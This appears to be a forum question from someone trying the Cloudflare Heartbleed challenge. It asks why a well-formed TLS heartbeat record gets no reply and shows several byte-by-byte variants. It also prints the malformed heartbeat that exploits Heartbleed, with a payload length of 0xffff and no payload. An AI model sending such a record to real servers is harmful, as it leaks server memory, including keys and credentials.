I've been messing around with the heartbleed bug (mainly the cloudflare challenge) and creating an invalid heartbeat has been easy, I've been sending as follows:
### HEATBEAT ###
0x18, # Content Type (Heartbeat)
0x03, 0x01, # TLS version
0x00, 0x03, # Length
# Payload
0x01, # Type (Request)
0xff, 0xff # Payload length
# NO PAYLOAD
### END HEARBEAT ###
However, when I tried to send this valid heartbeat, the server doesn't respond.
### HEATBEAT ###
0x18, # Content Type (Heartbeat)
0x03, 0x01, # TLS version
0x00, 0x03, # Length
# Payload
0x01, # Type (Request)
0x00, 0x03 # Payload length
0x68, 0x61, 0x74, # Payload: hat
### END HEARBEAT ###
I've tried jiggling around the payload length and neither +1 or -1 work. Even lengths significantly higher than the actual length don't work. Any ideas as to what I'm doing wrong?
Here's my full code for any interested (it's based off of this)
EDIT: In response to @warren-dew, this also doesn't work:
### HEATBEAT ###
0x18, # Content Type (Heartbeat)
0x03, 0x01, # TLS version
0x00, 0x03, # Length
# Payload
0x01, # Type (Request)
0x00, 0x03 # Payload length
0x68, 0x61, 0x74, # Payload: hat
0x34, 0x90, 0xf0, 0xf3, # PADDING
0xe3, 0xb4, 0x5c, 0x9c, # PADDING
0x80, 0xff, 0x95, 0x74, # PADDING
0x9d, 0x81, 0xfa, 0xa0 # PADDING
### END HEARBEAT ###
EDIT: In response to @warren-dew, adjusted again but still does not work:
### HEATBEAT ###
0x18, # Content Type (Heartbeat)
0x03, 0x01, # TLS version
0x00, 0x16, # Length <- Changed
# Payload
0x01, # Type (Request)
0x00, 0x03 # Payload length
0x68, 0x61, 0x74, # Payload: hat
0x34, 0x90, 0xf0, 0xf3, # PADDING
0xe3, 0xb4, 0x5c, 0x9c, # PADDING
0x80, 0xff, 0x95, 0x74, # PADDING
0x9d, 0x81, 0xfa, 0xa0 # PADDING
### END HEARBEAT ###